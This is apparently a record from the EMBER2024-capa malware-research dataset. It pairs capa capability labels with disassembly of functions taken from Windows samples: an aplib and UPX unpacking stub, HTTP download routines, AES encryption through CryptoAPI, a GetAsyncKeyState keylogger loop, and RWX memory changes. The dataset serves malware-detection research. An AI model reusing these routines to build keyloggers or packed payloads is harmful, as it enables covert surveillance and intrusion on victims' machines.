joyce8/EMBER2024-capa huggingface dataset:
Function at 0xaa6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aa61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaa607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa606a
add dl, dl
jne 0xaa6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa60dc
xor eax, eax
add dl, dl
jne 0xaa6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa617d
add dl, dl
jne 0xaa60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaa60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaa6075
mov eax, 1
add dl, dl
jne 0xaa60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa60e1
sub eax, ebx
mov ebx, 1
jne 0xaa6128
mov ecx, 1
add dl, dl
jne 0xaa610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa6119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaa613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa6136
cmp eax, 0x7d00
jae 0xaa616d
cmp eax, 0x500
jb 0xaa6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa6075
cmp eax, 0x7f
ja 0xaa6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaa619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaa6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x481ac0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x68000]
push edi
or ebp, 0xffffffff
jmp 0x481ae2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x481ae9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x481ad8
mov eax, 1
add ebx, ebx
jne 0x481afb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x481b0c
jne 0x481b2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x481b2b
dec eax
add ebx, ebx
jne 0x481b18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x481af0
add ebx, ebx
jne 0x481b27
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x481b7d
xor ecx, ecx
sub eax, 3
jb 0x481b43
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x481bb2
sar eax, 1
mov ebp, eax
jmp 0x481b4e
add ebx, ebx
jne 0x481b4e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x481b1c
inc ecx
add ebx, ebx
jne 0x481b5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x481b1c
add ebx, ebx
jne 0x481b69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x481b5e
jne 0x481b7a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x481b5e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x481b9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x481b8e
jmp 0x481ade
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x481b9c
add edi, ecx
jmp 0x481ade
pop esi
mov edi, esi
mov ecx, 0x1b5a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x481bba
cmp byte [edi], 0x13
jne 0x481bba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x481bbf
lea edi, [esi + 0x7e000]
mov eax, dword [edi]
or eax, eax
je 0x481c37
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x81000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x81160]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x481bec
mov ecx, edi
jns 0x481c1b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x81168]
or eax, eax
je 0x481c31
mov dword [ebx], eax
add ebx, 4
jmp 0x481c09
call dword [esi + 0x81164]
mov ebp, dword [esi + 0x8116c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x481c6b
sub esp, 0xffffff80
jmp 0x427dda
Function at 0x69cc260a
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov word [eax + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x808], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x918], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenW]
call eax
sub esp, 0x14
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x918], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
test eax, eax
setne al
movzx eax, al
leave
ret 0x10

Function at 0x69cc2724
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x814], 0
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x918], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x814]
mov eax, dword [ebp + 8]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov edx, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
je 0x69cc2799
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
test eax, eax
je 0x69cc2799
mov eax, 1
jmp 0x69cc279e
mov eax, 0
test al, al
je 0x69cc27d8
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x814]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
add edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x814], edx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
sub dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 0xc], 0
je 0x69cc27d7
jmp 0x69cc2750
nop
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x814]
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x918], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x918]
test eax, eax
sete al
movzx eax, al
leave
ret 0xc
Function at 0x69cc2e49
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0x14]
mov dword [eax], 0
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x69cc2ea9
mov eax, 0xffffffff
jmp 0x69cc2fd3
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 2
mov word [ebp - 0x2a], 0
mov dword [ebp - 0x28], 0x660e
mov dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x2c]
lea edx, [eax + 0xc]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [edx], eax
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 4
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 4]
mov dword [eax], edx
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 8
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 8]
mov dword [eax], edx
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 0xc
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x10]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1c
lea edx, [ebp - 0x2c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptImportKey]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x69cc2f4e
mov eax, 0xfffffffe
jmp 0x69cc2fd3
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
lea edx, [eax + 0x20]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call eax
sub esp, 0x1c
test eax, eax
sete al
test al, al
je 0x69cc2fa6
mov eax, 0xfffffffd
jmp 0x69cc2fd3
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call eax
sub esp, 8
mov eax, 0
leave
ret
Function at 0x69cc2fd5
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0x14]
mov dword [eax], 0
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x69cc3035
mov eax, 0xffffffff
jmp 0x69cc3152
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 2
mov word [ebp - 0x2a], 0
mov dword [ebp - 0x28], 0x660e
mov dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x2c]
lea edx, [eax + 0xc]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [edx], eax
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 4
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 4]
mov dword [eax], edx
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 8
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 8]
mov dword [eax], edx
lea eax, [ebp - 0x2c]
add eax, 0xc
add eax, 0xc
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x10]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1c
lea edx, [ebp - 0x2c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptImportKey]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x69cc30d7
mov eax, 0xfffffffe
jmp 0x69cc3152
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x69cc3125
mov eax, 0xfffffffd
jmp 0x69cc3152
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call eax
sub esp, 8
mov eax, 0
leave
ret
Function at 0x69cd04b3
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x1c], 6
mov byte [ebp - 0x1b], 0x24
mov byte [ebp - 0x1a], 0x2d
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x77
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0x6a
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x30
mov byte [ebp - 0x10], 0x37
mov byte [ebp - 0xf], 0x38
mov byte [ebp - 0xe], 0x39
mov byte [ebp - 0xd], 0x4f
mov byte [ebp - 0xc], 0x50
mov byte [ebp - 0xb], 0x4e
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov dword [ebp + 8], 0
cmp dword [ebp + 8], 0x11
ja 0x69cd0585
lea edx, [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
shr ax, 0xf
test al, al
je 0x69cd057f
lea edx, [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
shr ax, 0xf
test al, al
je 0x69cd056f
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x69cd0539
lea edx, [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x69cd059b
add dword [ebp + 8], 1
jmp 0x69cd0510
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x69cd0509
leave
ret
Function at 0x69cd4958
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x5190], 0
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x2c]
add edx, 0xa54c
sub eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
test eax, eax
je 0x69cd49ed
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
cmp eax, 0xffffffff
je 0x69cd49ed
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + 0x5190]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
nop
leave
ret 8
Function at 0x69cd4d22
Capabilities:
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, 0x2800
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x51b0], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
cmp eax, 0xffffffff
jne 0x69cd4d97
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
sub eax, 1
lea edx, [eax + 1]
mov eax, dword [0x69ce9028]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x69cd4e0c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + 0x5194]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
lea edx, [ebp - 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov edx, dword [ebp - 0xc]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x5278], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x51b0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x5278]
test eax, eax
jne 0x69cd4e9b
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x28fb50]
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.69cc163f
mov eax, 0
leave
ret
Function at 0x69cd4f92
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x4ea4]
test ax, ax
je 0x69cd505a
mov eax, dword [ebp - 0xc]
mov word [eax + 0x4ea4], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x4e84]
mov dword [esp + 8], 0x40004
mov dword [esp + 4], 0xc8
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_AnimateWindow]
call eax
sub esp, 0xc
mov dword [esp], 0x8fc
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x4ea4]
test ax, ax
jne 0x69cd502f
mov edx, 0x69ce5614
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x4e88]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SendMessageW]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x4e84]
mov dword [esp + 8], 0x50008
mov dword [esp + 4], 0x64
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_AnimateWindow]
call eax
sub esp, 0xc
jmp 0x69cd4f9b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x51bc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SuspendThread]
call eax
sub esp, 4
jmp 0x69cd4f9b

Function at 0x69cd5360
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xa540]
test eax, eax
jne 0x69cd53ea
movzx edx, byte [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov word [eax + 0x4ea6], dx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x4e88]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SendMessageW]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x4ea4]
test ax, ax
jne 0x69cd53eb
mov eax, dword [ebp - 0xc]
mov word [eax + 0x4ea4], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x51bc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
jmp 0x69cd53eb
nop
leave
ret 8
Function at 0x69cd7ac2
Capabilities:
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 8], 0
je 0x69cd7bf7
mov eax, dword [ebp + 8]
mov dword [0x69ce902c], eax
mov dword [ebp - 0xc], 0x40
mov eax, dword [0x69ce902c]
lea edx, [eax + 0x5104]
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameW]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [0x69ce902c]
lea ecx, [eax + 0x291c64]
mov eax, dword [ebp - 0xc]
mov edx, dword [0x69ce902c]
add edx, 0x5104
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.69cc163f
mov eax, dword [0x69ce902c]
lea edx, [eax + 0x291c64]
mov eax, dword [0x69ce902c]
add eax, 0x5104
mov dword [esp + 8], 0x10
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.69cc2468
mov eax, dword [0x69ce902c]
add eax, 0x291c64
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [0x69ce902c]
add eax, 0x5104
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexW]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x69cd7bf7
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x69cd7bce
mov eax, dword [0x69ce902c]
mov ecx, eax
call fcn.69cd6e98
jmp 0x69cd7bf7
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
mov dword [esp + 4], str.No_puedes_ejecutar_m
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x69ce902c]
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call fcn.69cd005a
sub esp, 0x10
leave
ret 0x10
Function at 0x69cd7fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x69ce9398]
test esi, esi
jle 0x69cd80b0
mov edi, dword [0x69ce939c]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x69cd7fd4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x69cd8055
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x69cd7fc0
mov dword [esp], eax
mov ebx, eax
call fcn.69cd86f0
test eax, eax
mov edi, eax
je 0x69cd80d7
mov eax, dword [0x69ce939c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.69cd87f0
add eax, dword [edi + 0xc]
mov edx, dword [0x69ce939c]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x69cd80b7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x69cd804e
sub eax, 4
and eax, 0xfffffffb
jne 0x69cd8060
add dword [0x69ce9398], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x69ce939c]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x69cd804e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.69cd9870
lea esi, [esi]
xor esi, esi
jmp 0x69cd7fde
mov eax, dword [0x69ce939c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.69cd9870
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.69cd9870
mov esi, esi
lea edi, [edi]

Function at 0x69cd8370
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x69ce93a8
